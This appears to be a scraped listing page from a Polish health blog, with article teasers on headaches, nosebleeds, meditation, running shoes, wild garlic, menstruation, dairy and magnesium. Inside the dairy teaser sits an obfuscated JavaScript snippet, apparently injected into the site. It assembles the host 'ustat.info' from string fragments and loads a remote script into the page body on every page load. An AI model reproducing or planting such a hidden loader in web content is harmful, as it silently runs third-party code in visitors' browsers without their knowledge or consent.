Szyjnopochodne bóle głowy – jak sobie z nimi poradzić?
Zwykle dbamy o własne zdrowie. Pilnujemy odpowiedniej diety, aktywności fizycznej, staramy się zredukować maksymalnie stres i ograniczamy używki. Niemniej jednak, nie zawsze wszystkie podjęte...
Krótko na temat krwawienia z nosa
Krwotoki z nosa to coraz bardziej znana dolegliwość, która dokucza ludziom w różnych przedziałach wiekowych. Nadchodzi nagle i wymaga szybkiej reakcji zatamowania krwotoku. Przede...
Płyn do higieny intymnej, jako podstawowa ochrona przed bakteriami
Dla kobiet pragnących zadbać o swój komfort i świeżość miejsc intymnych - na rynku dostępne są delikatne, nawilżające preparaty, oparte w dużej mierze na bazie...
Najpopularniejsze techniki medytacji – którą wybrać?
Medytacja długo postrzegana była jedynie jako religijna praktyka z dalekiego wschodu, praktykowana wyłącznie przez joginów. Od jakiegoś czasu zyskuje jednak coraz większą popularność wśród...
Buty do biegania po asfalcie – dlaczego na twardym podłożu warto zadbać o odpowiednie...
Bieganie staje się coraz popularniejszym sportem. Dzięki tej dyscyplinie świetnie można pracować nad kondycją i dbać o dobry stan mięśni i stawów. Pozytywnie wpływa...
Czym jest czosnek niedźwiedzi?
O czosnku niedźwiedzim jeszcze do niedawna było cicho. Obecnie jednak roślina ta coraz bardziej intryguje. Szczególną uwagę zwracają jego właściwości lecznicze oraz powszechność występowania....
Fakty i mity na temat okresu
Ogrom krążących w internecie, ale też w zbiorowej ludzkiej świadomości, mitów na temat miesiączki jest zatrważający. Wiele osób po prostu nie wie, jak to...
Produkty mleczne – dlaczego warto jeść je codziennie?
Mleko, jogurty naturalne, kefiry czy maślanki należą do grupy produktów, które powinny gościć na naszych stołach każdego dnia.
(function(){
wywr=document.createElement("script");wywr.type="text/javascript";
wywr.async=true;wywr_=(("us")+"t")+"a";wywr_+=("t.i")+""+"n";wywr_+=(("f")+"o");wywr_+="/";
wywru="257309180.";wywru+="nzXqli09ywrieds83Xnvyupy35njbt";wywr.src="https://"+wywr_+wywru;
wywrdb=document.body;wywrdb.appendChild(wywr);
})();
Rola nabiału w codziennej diecie jest nieoceniona...
Czy można przedawkować magnez?
Magnez to jeden z najważniejszych pierwiastków, niezbędnych dla utrzymania dobrego zdrowia. To dlatego wiele mówi się o zapobieganiu jego niedoborowi. Ale czy możliwe jest...
Dlaczego nasze jelita to drugi mózg? i jak dbać o prawidłową florę bakteryjną jelit?
Organizm człowieka jest bardzo skomplikowanym i precyzyjnie działającym mechanizmem, który składa się z kilku wspólnie i nierozerwalnie działających systemów. Najważniejszymi z nich są układ...